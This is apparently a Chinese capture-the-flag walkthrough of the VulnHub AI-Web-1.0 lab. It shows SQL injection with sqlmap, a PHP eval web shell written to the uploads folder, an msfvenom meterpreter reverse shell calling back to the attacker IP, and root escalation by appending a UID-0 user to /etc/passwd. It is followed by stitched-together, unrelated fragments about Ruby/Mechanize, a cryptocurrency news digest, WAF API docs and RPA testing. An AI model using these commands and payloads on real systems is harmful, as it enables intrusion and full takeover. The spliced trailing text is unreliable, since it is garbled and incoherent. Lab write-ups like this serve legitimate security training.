靶机:Al-Web-1.0
靶机下载地址:https://www.vulnhub.com/entry/ai-web-1,353/
虚拟机环境:桥接模式(保证在同一个网段方便扫描)
靶机搭建方式:下载好的靶场是一个压缩包,解压后直接用Vmware就能导入,导入后将网络连接方式改外桥接
靶机IP:192.168.3.67
kali机IP:192.168.3.62
Al-Web-1.0靶机

先扫描网段,找到靶机IP地址为192.168.3.67
nmap -sn 192.168.3.0/24
# -sn 表示nmap在主机发现后不进行端口扫描只显示出响应主机发现探测的可用主机

nmap -p- -A 192.168.3.67
# -p- 对全端口进行扫描
# -A 全面系统探测、版本探测、脚本扫描、路由追踪
发现有开放80端口,并且有个robots.txt可能有用

浏览器访问一下,发现并不能直接得到有用的信息



从刚才的robots.txt文件中我们知道了有几个目录,现在扫描一下这些目录,这里遍历出两个文件,一个info.php的文件,一个index.php


浏览器分别访问一下,发现第一个info.php是一个phpinfo信息,那就查看一下权限用户和网站根目录


第二个文件发现这里可以输入文字,感觉可以进行sql注入,先测试一下,发现可以回显信息
1’ and 1=1 # 正常
1’ and 1=2 # 出错


看来这里是与数据库有交互的
哎,太懒啦,就用sqlmap来跑一下就行吧
将数据包保存为data.txt放在桌面,等一下利用

sqlmap -r data.txt --current-db --batch
# -r 从文件中读取HTTP请求
# --current-db 获取当前数据库
# --batch 不询问用户输入,执行默认配置
爆出当前数据库为aiweb1

sqlmap -r data.txt -D "aiweb1" --tables --batch
# -D 指定要枚举的数据库
# --tables 枚举出数据库中所有的表

指定systemUser表
sqlmap -r data.txt -D "aiweb1" -T "systemUser" --columns --batch
# -T 指定要枚举的数据表
# --columns 枚举出指定数据表中所有的列

sqlmap -r data.txt -D "aiweb1" -T "systemUser" -C "id,password,username" --dump --batch
# -C 指定要枚举的数据列
# --dump导出指定数据库的表项

发现密码被加密了,使用base64解密一下

做到这里发现一个问题,虽然成功爆出数据库的信息,但是好像并没有可以登陆的后台什么的可以利用,我丢!
不过虽然数据信息暂时无法利用,但是不代表不可以通过sql注入写入数据
在刚才信息收集中我们在robots.txt文件中发现了一个/se3reTdir777/uploads/的路径,并且也读到过phpinfo信息,从info.php文件中我们知道了根目录的路径,那现在就可以在uploads/路径下上传文件,通过sqlmap进行写入。我们直接写入一个木马文件试试
sqlmap -r ./data.txt --file-write="muma.php" --file-dest="/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/muma.php"
# --file-write=FILE 将指定文件FILE写入到后端DBMS文件系统中
# --file-dest=FILE 使用绝对路径写入到后端DBMS中的文件系统中
# muma.php代码
<?php @eval($_REQUEST['cmd']); ?>
可以看到成功写入了一个木马文件,并且可以访问到它

使用蚁剑连接,发现可以连接,但是没有root权限。


msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=192.168.3.62 lport=1234 -f elf > reverseshell.elf
# -p 指定需要使用的payload(攻击荷载)
# lhost 设置成监听设备的IP
# lport 设置成监听设备的端口
# -f 指定输出格式
# elf格式 一种用于二进制文件、可执行文件、目标文件、共享库和核心转储格式文件的文件格式



use exploit/multi/handler #加载模块
set payload linux/x64/meterpreter/reverse_tcp #修改成我们之前生成木马时使用的payload
set LHOST 192.168.3.62 #设置监听设备的IP地址(这里为kali)
set LPORT 1234 #设置监听设备的监听端口
run #启动监听
在启动监听后就可以在蚁剑那边通过./reverseshell.elf执行文件,等待反弹结果,可以看到成功反弹shell

shell
python -c “import pty;pty.spawn(‘/bin/bash’)

发现/etc/passwd文件居然是www-data用户拥有并且具有可读可写权限

openssl passwd -1 -salt admin admin
# passwd 生成密码使用的标准命令
# -1 使用md5加密算法
# -salt 使用随机数插入,默认是加了salt的
# 第一个admin为账户名 第二个admin为账户密码

将得到的密码去/etc/passwd里构造一个新用户
echo 'admin:$1$admin$1kgWpnZpUx.vTroWPXPIB0:0:0::/root:/bin/bash' >> /etc/passwd
# admin为用户名
# $1$admin$1kgWpnZpUx.vTroWPXPIB0 为openssl生成的密码,其实就是admin用户的登陆口令
# 第一个0位User ID,即用户识别码,简称UID,0是系统管理员账号
# 第二个0为Group ID,即用户组识别码,简称GID,0是管理员组
# 中间空了一个字段,所以为::,原本这里为comment,这是给用户账户做注释的
# /root 该账号的主目录,即“家”目录,这里把admin用户的“家”设置成root主目录(root账户的主目录就是/root)
# /bin/bash 用户登陆后使用的shell


现在进入root,成功拿到flag

结束
我正在使用Ruby/Mechanize编写一个“自动填写表格”应用程序。它几乎可以工作。我可以使用精彩CharlesWeb代理以查看服务器和我的Firefox浏览器之间的交换。现在我想使用Charles查看服务器和我的应用程序之间的交换。Charles在端口8888上代理。假设服务器位于https://my.host.com。.一件不起作用的事情是:@agent||=Mechanize.newdo|agent|agent.set_proxy("my.host.com",8888)end这会导致Net::HTTP::Persistent::Error:...lib/net/http/pe
Asitcurrentlystands,thisquestionisnotagoodfitforourQ&Aformat.Weexpectanswerstobesupportedbyfacts,references,orexpertise,butthisquestionwilllikelysolicitdebate,arguments,polling,orextendeddiscussion.Ifyoufeelthatthisquestioncanbeimprovedandpossiblyreopened,visitthehelpcenter提供指导。11年前关闭。我是一位精通HTML
我目前正在为一个新网站设计版本化的API。我了解如何为路由命名空间,但我一直坚持在模型中实现版本化方法的最佳方式。下面的代码示例使用的是rails框架,但是事情的原理在大多数web框架之间应该是一致的。目前的路线看起来像这样:MyApp::Application.routes.drawdonamespace:apidonamespace:v1doresources:products,:only=>[:index,:show]endendend和Controller:classApi::V1::ProductsController很明显,我们只是在此处公开Product上可用的属性,如果
我正在尝试使用ruby来使用Sharepoint网络服务。我基本上已经放弃尝试使用NTLM进行身份验证,并暂时将Sharepoint服务器更改为使用基本身份验证。我已成功使用soap4r获得WSDL,但在尝试使用实际Web服务调用时仍然无法进行身份验证。有没有人有过让ruby和Sharepoint对话的经验? 最佳答案 我是个新手。但经过很多时间并在更多经验编码人员的帮助下,我能够让ruby与Sharepoint2010一起工作。下面的代码需要“ntlm/mechanize”gem。我已经能够使用列表GUID和ListV
2022年10月21日星期五【数据指标】加密货币总市值:$0.95万亿BTC市值占比:38.51%恐慌贪婪指数:23极度恐慌 【今日快讯】1、【政讯】1.1.1、美联储布拉德:市场预期美联储11月会加息75个基点1.1.2、美联储哈克:将维持加息一段时间1.2、美国10年期国债收益率触及4.197%,为2008年6月以来最高1.3、法国数字转型部长:政府将专注于DeFi和Web31.4、巴西ATM机将于11月3日起支持USDT1.5、美众议院副议长将于11月初加入a16zCrypto担任政府事务主管1.6、香港数字资产托管机构FirstDigitalTrust首席执行官:香港仍是安全
WAF可以对网站进行扫描,识别API漏洞。API安全如何设置API安全_Web应用防火墙-阿里云帮助中心API安全如何划分API业务用途?登录认证手机验证码认证数据保存数据查询数据导出数据分享数据更新数据删除数据增加下线注销信息发送信息认证邮件信息发送邮箱验证码认证账号密码认证账号注册API安全支持检测哪些敏感数据?敏感数据级别敏感数据类型非敏感数据(N)不涉及。特级敏感数据(L0)与一级敏感数据(L1)或二级敏感数据(L2)相同。单次响应中一级敏感数据(L1)较多时,升级为特级敏感数据(L0)。单次响应中二级敏感数据(L2)较多时,升级为一级敏感数据(L1)或特级敏感数据(L0)。一级敏感数
我正在使用RubyonRails3,我正在尝试实现API以从Web服务检索帐户信息。也就是说,我想连接到具有Account类的Web服务并从show获取信息。在URIhttp:///accounts/1处路由的操作.此时,在网络服务中accounts_controller.rb我有的文件:classAccountsController@account.to_json}endendend现在我需要一些关于连接到网络服务的建议。在客户端应用程序中,我应该有一个HTTPGET请求,但这是我的问题:连接到发出HTTP请求的Web服务的“最佳”方法是什么?客户端应用程序中的这段代码有效:url=
谁能告诉我实现rubyonrailsweb应用程序30试用期的最佳方法,很像Basecampfrom37signals的方式是吗?目前我有一个用户登录页面,然后用户可以访问显示有关其产品/定价等的当前信息的仪表板。我希望用户能够注册并拥有完整的应用程序功能,然后在30天后过期。谢谢 最佳答案 创建用于x天试用期的Rails应用程序非常容易。您想为您的用户实现30天的试用期,然后执行以下操作:第1步:在application_controller.rb中创建这些方法,例如#application_controller.rbclas
一、扫描原因 (1)寻找到网站后台管理 (2)寻找未授权界面 (3)寻找网站更多隐藏信息 (4)通过使用目录扫描可以让我们发现这个网站存在多少个目录,多少个页面,探索出网站的整体结构。通过目录扫描我们还能扫描敏感文件,后台文件,数据库文件,和信息泄漏文件等等。二、方法1、robots.txt (1)Robots协议(RobotsExclusionProtocol)“网络爬虫排除标准”,网站通过Robots协议告诉搜索引擎哪些页面可以抓取,哪些页面不能抓取。 (2)同时也记录网站所具有基本的目录。
一、什么是web项目ui自动化测试?通过测试工具模拟人为操控浏览器,使软件按照测试人员的预定计划自动执行测试的一种方式,可以完成许多手工测试无法完成或者不易实现的繁琐工作。正确使用自动化测试,可以更全面的对软件进行测试,从而提高软件质量进而缩短迭代周期。二、构建测试用例的“九部曲”(一)创建流程包划分功能模块日常测试活动中,都会根据功能模块进行拆分,所以在设计器中我们可以通过创建流程包的方式来拆分需要测试的功能模块,如下图中操作创建一个电脑流程包并且取名为对应的功能模块名称,如果有多个功能模块就创建多个对应的流程包,实在RPA设计器有易用的图形可视化界面,方便管理较多的功能模块。(二)在流程包